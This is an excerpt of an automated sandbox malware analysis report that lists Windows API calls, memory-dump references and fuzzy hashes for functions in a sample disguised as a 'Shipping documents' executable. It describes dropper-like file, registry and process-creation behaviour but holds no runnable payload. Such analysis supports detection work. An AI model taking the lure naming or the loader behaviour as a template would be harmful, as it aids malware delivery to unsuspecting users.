Part of subcall function 004068B4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

lstrlenW.KERNEL32 ref: 00402344
lstrlenW.KERNEL32(00000000), ref: 0040234F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402378

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 0f4398602f2a15397442c9cb80a4579519cf27728a25c26cde818a96ec5f227a
Instruction ID: 885267ae01076befc9d2550e8446c8d72b56611081dd9eb5b5e506e95b58587e
Opcode Fuzzy Hash: 0f4398602f2a15397442c9cb80a4579519cf27728a25c26cde818a96ec5f227a
Instruction Fuzzy Hash: 04117071900318AADB10EFB9D90AA9EB6F8AF14354F20543FA401F72D1DBB88941CB59

Function 004025A3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E9
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,00000011,00000002), ref: 00402602

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: a30a11a05d1993aef0f7726c39992e41007362dd6c4f729a0cb4b13ed53f7ac1
Instruction ID: 3ff9118d8f065173f4d59a226331d9f1933cb8120024fa56e57d9af690fc2804
Opcode Fuzzy Hash: a30a11a05d1993aef0f7726c39992e41007362dd6c4f729a0cb4b13ed53f7ac1
Instruction Fuzzy Hash: 16017171904105ABEB149F949E58AAF7678FF40308F10443EF505B61C0DBB85E40A66D

Function 0040202F Relevance: 3.1, APIs: 2, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

GetFileVersionInfoSizeW.KERNELBASE(0000000B,00000000,?,000000EE), ref: 00402045
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00402064

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: AddressAllocFileGlobalHandleInfoModuleProcSizeVersionwsprintf
String ID:
API String ID: 2520467145-0
Opcode ID: 437d11790d74782efc94b12913d614b64cca238e61eba87ae2d2cc7f25da6320
Instruction ID: 763ad8e8b63f2924b10e93d9a85bf0a11dc22f08f43b137c8aa05ca7cc66be5b
Opcode Fuzzy Hash: 437d11790d74782efc94b12913d614b64cca238e61eba87ae2d2cc7f25da6320
Instruction Fuzzy Hash: E7213871900208AFDB11DFE5C985EEEBBB4EF08354F11402AFA05B62D0D7759E51DB64

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Function 00402439 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040245B
RegCloseKey.ADVAPI32(00000000), ref: 00402464

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: ac608fdb2779203a5befd5ae41b504f19679aceccba4adcfaa0019147e4ceade
Instruction ID: 0b96b132e490ce7cd6ce1444893b6524bba18796501a832965f154b7c78b6e42
Opcode Fuzzy Hash: ac608fdb2779203a5befd5ae41b504f19679aceccba4adcfaa0019147e4ceade
Instruction Fuzzy Hash: 82F06832A04510ABDB00BBA89A4D9EE62A5AF54314F11443FE502B71C1CAFC5D02966D

Function 00405AAB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405AED
GetLastError.KERNEL32 ref: 00405AFB

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: ed7a645988c2e2a06802fdc928ba12763e2e88a5fcf473fdfb2f1107ef0c66eb
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 56F0F970D0060DDBDB00CFA4C5497DFBBB4AB04305F00812AD545B6281D7B95248CBA9

Function 00405B3A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: b1032d8704f3223f2a9afbe03a7757fefc60a77e8ecf1711bb84520e71ece662
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: 91E09AB4600219BFEB109B74AD06F7B767CE704604F408475BD15E2151D774A8158A78

Function 0040694B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
GetProcAddress.KERNEL32(00000000,?), ref: 00406978

Part of subcall function 004068DB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
Part of subcall function 004068DB: wsprintfW.USER32 ref: 0040692D
Part of subcall function 004068DB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: ff64ee7455e026c1647d72c339307a336527f79dacb59e64982fca04d7429b22
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: 38E08673504210AFD61057705D04D27B3A89F85740302443EF946F2140DB34DC32ABA9

Function 00406047 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 0040604B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00406022 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 97cbb32404f08d1f6fed837f871d2b37f55cf766f9720be9b575451f5cdabe77
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: A3D0C972504220AFC2102728AE0889BBB55EB542717028A35FCA9A22B0CB304CA68694

Function 00405B05 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B19

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 8c4969e502f5bc4c8dfdefb7e9c2ba363b64d1215f12130c86bef4ebeef6f559
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 19C08C30310902DACA802B209F087173960AB80340F158439A683E00B4CA30A065C92D

Function 0040173A Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040174E

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: d808a61f5ad900bf7ed85ac91a182ba8082c891450206748c020b13630da23e4
Instruction ID: 361b5ea4dce5ff5b5c0a009366d47470cb0510696b1a56dfa9010847a1c89de2
Opcode Fuzzy Hash: d808a61f5ad900bf7ed85ac91a182ba8082c891450206748c020b13630da23e4
Instruction Fuzzy Hash: 21E08071204104ABE700DB64DD49EAE77BCDF5036CF20553BE511E60D1E7B45905971D

Function 004063F2 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E5C,00000000,?,?), ref: 0040641B

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: 64249f1610b479570df181ce2e9e182bf10c6facee3c5f7fb09e5bef7ea49c41
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: E6E0E672010109BFEF095F90DD4AD7B7B1DE708310F11492EF906D5051E6B5E9305674

Function 004060CA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E7,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060DE

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: a77d82ba430c16999eb1f2306cb11816df14181100402a9e04059793f1b3015d
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 21E08632150219ABCF10DF948C00EEB3B9CFF04390F018436FD11E3040D630E92197A4

